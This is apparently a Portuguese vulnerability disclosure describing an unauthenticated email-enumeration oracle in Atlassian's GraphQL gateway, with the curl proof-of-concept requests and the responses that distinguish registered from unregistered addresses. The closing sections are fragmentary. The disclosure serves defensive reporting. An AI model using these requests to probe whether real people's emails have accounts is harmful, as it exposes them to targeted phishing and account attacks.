
CVE-2026-XXXX: Atlassian GraphQL Oracle de Enumeração de Email (CWE-204, CVSS 5.3 MÉDIA)
Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)
CWE-204: Discrepância de Resposta Observável — Oráculo de Enumeração de E-mail
MÉDIA — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
A consulta GraphQL loomUnauthenticated_primaryAuthTypeForEmail no gateway central GraphQL da Atlassian retorna respostas diferentes dependendo se um endereço de e-mail está registrado na Atlassian, permitindo enumeração de usuários não autenticados.
E-mail registrado → retorna authType (ex.: workos, password, google) e uma URI de redirecionamento
E-mail não registrado → retorna authType: "none" sem URI de redirecionamento
Nenhuma autenticação é necessária. O nome da consulta inclui 'Unauthenticated' — é intencionalmente público, mas não deveria vazar se um e-mail arbitrário tem uma conta Atlassian.
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
Resposta:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
Resposta:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" confirma que o e-mail usa SSO WorkOS. authType: "google" ou authType: "password" vazaria o método de autenticação. Isso possibilita phishing direcionado.
Um atacante não autenticado pode:
A consulta loomUnauthenticated_primaryAuthTypeForEmail não realiza limitação de taxa (rate-limiting) e retorna informações do provedor de autenticação para qualquer e-mail sem autenticação. Embora o endpoint seja intencionalmente não autenticado (para o fluxo de cadastro do Loom), ele vaza se um e-mail tem uma conta e qual provedor de autenticação eles usam.
Após testes aprofundados, essas alegações foram invalidadas:
aaid: "unidentified")ValidationError)unidentified)Wh4l3X